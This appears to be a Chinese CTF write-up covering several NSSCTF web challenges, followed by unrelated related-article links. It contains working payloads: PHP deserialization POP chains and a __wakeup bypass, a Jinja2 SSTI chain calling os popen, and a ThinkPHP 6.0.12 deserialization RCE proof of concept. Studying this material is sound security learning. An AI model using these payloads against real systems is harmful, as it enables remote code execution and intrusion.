NSSCTF做题第9页(2)

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

这道题主要有三个绕过点,第一个是__wakeup()函数,第二个是

(isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) 变量的MD5相等,但是两个变量不等

那需要我们构造的两个类就是class lt和 class fin

构造的时候设置一个变量a,创建了一个类的对象lt

然后把md5的条件满足一下,而这类的第一个变量$impo没有用到

就可以利用它来指向下一个新创建的变量class fin,再利用fin里边的公共变量进行命令执行得到flag

<?php
class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
}
class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
}
$m = new lt();
$m ->md51 = 'QNKCDZO';
$m ->md52 = 's878926199a';
$m ->impo = new fin();
$m ->impo -> a = 'system';
$m ->impo -> title =  'cat /flag';
echo serialize($m);
?> 

别忘了改一下成员数来绕过__wakeup()函数

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

改成:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

得到flag

[MoeCTF 2022]ezphp 

代码审计

来自chatgpt的解释:

首先,代码定义了一个变量$flag,它的值是“xxxxxxxxx”,表示一个未知的标志。

接下来,代码定义了两个字符串变量$giveme和$getout。$giveme的值是“可以需要标志!”,表示在缺少标志时给出的提示信息。$getout的值是“不!flag。再试一次。加油!,表示在输入正确的标志后给出的提示信息。

然后,代码通过判断是否存在$_GET['flag']或$_POST['flag']来确定是否有传递标志。如果没有传递标志,就会输出$giveme的值并退出脚本。

如果有传递标志,代码会检查传递的标志值是否为“flag”,如果是的话,就会输出$getout的值并退出脚本。

接下来,代码使用foreach循环遍历$_POST和$_GET数组中的键值对,并将键作为变量名,值作为变量值进行赋值操作。这样可以通过$_POST或$_GET中的参数名来直接获取对应的值。

最后,代码输出“The flag is : ”和$flag的值,即输出标志的值。

综上所述,该代码的逻辑是:如果没有传递标志,则给出提示信息;如果传递了标志,并且标志不等于“flag”,则给出另一条提示信息;如果传递了标志,并且标志等于“flag”,则输出标志的值。

关键是这两句:
foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量

如果要echo,那么不能exit,那么必须传flag(get或者post),并且传入flag不能等于"flag",如果要$flag的值不会被更改,那就得提前“储存”flag。顺序不能变,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖。 

所以就可以传入 ?a=flag&flag=a,先把flag的值传给a,储存起来,然后再读取

 [HZNUCTF 2023 preliminary]flask

提示说传参name进去

先随便传一个123进去,发现回显是321,又试了一些,发现全是反着输出的

那试试}}7*7{{    ,ok倒序

在线文本字符反转 - 在线文本反转 - 文字反转生成器

找基类 下面的记得反转

{{"".__class__}} 得到空字符串类 <class 'str'>,用网页回显总是麻麻赖赖的,用bp看是正常的

  {{"".__class__.__mro__}}  得到:<class 'tuple'>, <class 'object'>

  {{"".__class__.__mro__[-1]}} 得到 <class 'object'>

得到基类之后,找到这个基类的子类集合

{{"".__class__.__mro__[-1].__subclasses__()}}

这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class 'os._wrap_close'>

<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

 

实例化我们找到的类对象

 {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

找到这个实例化对象的所有方法

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

调用popen方法,进行rce 在环境变量里得到flag

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

 

这道题其实没什么难度,只是过程麻烦一点,需要你去找调用方法的类

用这一句话也是可以读的出来的

{%print(lipsum.__globals__.os.popen('env').read())%}

[UUCTF 2022 新生赛]ez_unser 

一道简单的反序列化

过滤了 /test":3,

正则限制死了不可能通过修改成员数量绕过__wakeup()

这里可以又看到在析构函数提及了b,c值的传递,考虑使用引用传参的方式,就不需要再考虑__wakeup()函数的影响了,我们可以把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值。

payload

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){

    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$m=new test();
$m->b=&$m->a;
$m->c="system('ls /');";
echo serialize($m);
?>

在payload里修改一下路径,得到flag

[CISCN 2022 初赛]ezpop 

进去发现是thinkph-v6 直接去网上找

还是,推两篇博客给大家

 ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)-CSDN博客

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_amingMM的技术博客_51CTO博客

果然有东西

下载www.zip

下载下来720个项目,哈哈哈真会开玩笑

从网上找漏洞复现,发现漏洞的起点在wakeup方法或者destruct方法,所以全局搜索一下这两个方法

搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php 

找到起点之后就是跟着这个调用过程进行分析

 大佬的博客写的很详细了已经

两篇博客,关于这个漏洞的详细解析

 https://www.cnblogs.com/Jinx8823/p/16564437.html

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

 在app/controller/index.php找到了传参路径

所以传参的时候路径应该是index/test

直接上poc

<?php
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace {

    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
?>

首先,在命名空间think下定义了一个抽象类Model,它包含了一些私有属性和方法。这些属性包括$lazySave$data$exists$table$withAttr$json$jsonAssoc,并在构造函数中给它们赋予了一些初始值。

然后,在命名空间think\model下定义了一个继承自Model的类Pivot,它没有添加任何额外的属性或方法。

最后,在全局命名空间下,通过echo语句输出了一个序列化后的对象。具体地,它序列化了一个think\model\Pivot类的实例,并对序列化结果进行了URL编码。

 post传参,找到了flag路径

cat flag

 得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/119742.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EF Core中带过滤器参数的Include方法

概要 本文主要介绍EF Core 5.0中一个新特性&#xff0c;就是Include方法支持带过滤器的委托参数&#xff0c;并且说明一下该特性在实际使用中的一个大坑&#xff0c;希望读者在未来的开发中避免踩坑。 本文使用的是Dotnet 6.0和EF Core 7.0。 代码和实现 案例介绍 本文主要…

springboot + redis实现签到与统计功能

在很多项目中都会有签到与统计功能&#xff0c;最容易想到的方案是创建一个签到表来记录每个用户的签到记录&#xff0c;比如设计一个mysql数据库表&#xff1a; CREATE TABLE tb_sign id bigint(20) unsigned NOT NULL AUTOINCREMENT COMMENT 主键, user_id bigint(20) unsig…

从零开始的C++(十二)

长风破浪会有时&#xff0c;直挂云帆济沧海。 List&#xff1a; 链式结构&#xff0c;类似带头双向循环链表。 常见成员函数&#xff1a; push_back()&#xff1a;尾插 pop_back(&#xff09;&#xff1a;尾删 push_front()&#xff1a;头插 pop_front()&#…

【Java技术专题】「入门到精通系列教程」深入探索Java特性中并发编程体系的原理和实战开发指南( 实现可伸缩IO专题)— 上

深入探索Java特性中并发编程体系的原理和实战开发指南&#xff08; 实现可伸缩IO专题&#xff09; 总体内容概览可扩展的网络服务分布式对象传统的阻塞式网络服务每个请求或连接可以在独立的线程中进行处理Server服务处理请求类Handler处理逻辑类优点缺点 可扩展性目标平稳降级…

MySQL Join 类型

文章目录 1 Join 类型有哪些2 Inner Join3 Left Join4 Right Join5 Full Join 1 Join 类型有哪些 SQL Join 类型的区别 Inner Join: 左,右表都有的数据Left Join: 左表返回所有的行, 右表没有的补充为 NULLRight Loin: 右表返回所有的行, 左表没有的补充为 NULLFull Outer J…

Excel多线程导入数据库

文章目录 Excel多线程导入数据库1. CountDownLatch2.多线程导入数据库 Excel多线程导入数据库 书接上文 Excel20w数据5s导入 1. CountDownLatch CountDownLatch 维护了一个计数器&#xff0c;初始值为指定的数量。当一个或多个线程调用 await() 方法时&#xff0c;它们会被阻…

【flink sql table api】时间属性的指定与使用注意事项

文章目录 一. 时间属性介绍二. Table api指定时间属性三. 处理时间的指定1. 在创建表的 DDL 中定义2. 在 DataStream 到 Table 转换时定义3. 使用 TableSource 定义 四. 事件时间的指定1. 在 DDL 中定义2. 在 DataStream 到 Table 转换时定义3. 使用 TableSource 定义 五. 小结…

力扣每日一题70:爬楼梯

题目描述&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 示例 1&#xff1a; 输入&#xff1a;n 2 输出&#xff1a;2 解释&#xff1a;有两种方法可以爬到楼顶。 1. 1 阶 1 阶 …

redis 配置主从复制,哨兵模式案例

哨兵(Sentinel)模式 1 . 什么是哨兵模式&#xff1f; 反客为主的自动版&#xff0c;能够自动监控master是否发生故障&#xff0c;如果故障了会根据投票数从slave中挑选一个 作为master&#xff0c;其他的slave会自动转向同步新的master&#xff0c;实现故障自动转义 2 . 原理…

简析新能源汽车充电桩设计与应用

叶根胜 安科瑞电气股份有限公司 上海嘉定 201801 摘要&#xff1a;本文针对新能源汽车充电桩建设工作进行探究&#xff0c;采用案例分析法、文献查阅法&#xff0c;指出了新能源汽车充电桩建设存在的问题&#xff0c;阐述了充电桩建设与优化的对策。研究表明&#xff1a;目前…

php实现防止Struts2框架漏洞中的远程命令执行攻击的代码

使用PHP过滤器 PHP提供了一些内置的过滤器&#xff0c;可以过滤掉一些恶意代码。可以使用以下代码将输入数据进行过滤&#xff1a; ​$input $_POST[input]; $safe_input filter_var($input, FILTER_SANITIZE_STRING); 使用escapeshellcmd()和escapeshellarg() 可以使用PHP…

189. 轮转数组 --力扣 --JAVA

题目 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 解题思路 通过位移后位置对数组长度的取余来判断元素变换后的位置 代码展示 class Solution {public void rotate(int[] nums, int k) {int size nums.length;int[]…

python 使用json包在json格式字符串和python对象之间的变化

起因&#xff1a;使用python json包时&#xff0c;将键值对均为数字的字典存入txt文件后重新加载进字典后出现“字典key值不唯一”的神奇现象。 相关代码&#xff1a; 字典添加数据部分 def xuhao_chuti(self):rand random.randint(1, 908)if rand in self.memery.keys() an…

element-ui的日历组件el-calendar高度咋调小

最近项目首页有个空余 不知道放啥 打算放个日历card 充充位置&#xff0c; el-calendar日历组件的整体宽度可以用el-row el-col :gutter :span来控制自适应 但是官网文档没说高度咋缩小 细长一条好难看 自己尝试改了改element的样式没整出来 最后照着这位博主的方法改是好使滴…

软考系列(系统架构师)- 2014年系统架构师软考案例分析考点

试题一 软件架构&#xff08;MYC 架构、扩展接口模式&#xff09; MVC架构风格最初是Smalltalk-80中用来构建用户界面时采用的架构设计风格。其中M代表模型&#xff08;Model)&#xff0c;V代表视图&#xff08;View)&#xff0c;C代表控制器&#xff08;Controller)。在该风格…

windows/mac/linux 用C++搭建一个刷题模拟器

一个刷题模拟器&#xff0c;一定要有题&#xff0c;题目从这里下载 欢迎大家提供新题目&#xff08;请把题目文件夹压缩成zip后发给我chengyixuan130812163.com&#xff09;&#xff0c;我会定期更新的。 题目格式&#xff1a; 题目编号 nums.txt&#xff08;评测点个数&#x…

动态规划(记忆化搜索)

AcWing 901. 滑雪 给定一个 R行 C 列的矩阵&#xff0c;表示一个矩形网格滑雪场。 矩阵中第 i 行第 j 列的点表示滑雪场的第 i 行第 j 列区域的高度。 一个人从滑雪场中的某个区域内出发&#xff0c;每次可以向上下左右任意一个方向滑动一个单位距离。 当然&#xff0c;一个人能…

【前端设计模式】之桥接模式

桥接模式是一种常用的设计模式&#xff0c;它可以将抽象部分与实现部分分离&#xff0c;使它们可以独立地变化。在前端开发中&#xff0c;桥接模式可以帮助我们更好地组织和管理代码&#xff0c;提高代码的可维护性和可扩展性。 桥接模式特性 分离抽象和实现&#xff1a;桥接…

liunx Centos-7.5上 rabbitmq安装

在安装rabbitmq中需要注意&#xff1a; 1、rabbitmq依赖于erlang&#xff0c;需要先安装erlang 2、erlang和rabbitmq版本有对应关系 可参考网页&#xff1a;https://www.rabbitmq.com/which-erlang.html 第一步&#xff0c;安装编译工具及库文件,如果服务器上已经有了&…

长连接的原理

Apollo的长连接实现是 Spring的DeferredResult来实现的,先看怎么用 import ...RestController RequestMapping("deferredResult") public class DeferredResultController {private Map<String, Consumer<DeferredResultResponse>> taskMap new HashMa…